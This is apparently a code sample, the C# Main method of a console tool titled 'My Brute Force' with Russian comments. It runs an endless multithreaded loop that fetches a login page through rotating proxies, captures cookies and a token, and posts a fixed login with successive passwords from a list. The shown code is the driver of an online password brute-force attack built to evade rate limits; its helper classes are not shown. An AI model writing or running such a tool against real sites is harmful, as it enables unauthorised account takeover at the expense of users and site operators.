Esempio n. 1
0
        /// <summary>
        /// Начало цикла приложения
        /// </summary>
        /// <param name="args">аргументы команднной строки</param>
        static void Main(string[] args)
        {
            // Проверка и иницализация космпонентов
            if (!Init())
            {
                Environment.Exit(-1);
            }
            InitThread();
            AppSettings.Init();
            TestArgs(args);

            // Настройки cmd
            ServicePointManager.DefaultConnectionLimit = int.MaxValue;
            Console.Title           = "My Brute Force";
            Console.BackgroundColor = ConsoleColor.White;
            Console.ForegroundColor = ConsoleColor.Black;


            while (AppSettings.Run)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("123");
                Console.ForegroundColor = ConsoleColor.Black;

                // поток запроса
                Thread requestThread = new Thread(() =>
                {
                    GetPage getPage = new GetPage();
                    getPage.Init(Reader.GetProxy()).GetContent();

                    PostPage postPage = new PostPage();
                    postPage.Init(Reader.GetProxy()).GetContent(getPage.Cookies, getPage.Token, AppSettings.Login, Reader.GetPassword());
                });
                requestThread.Priority = ThreadPriority.Highest;
                requestThread.Start();

                Thread.Sleep(AppSettings.Delay);
            }

            Console.Read();
        }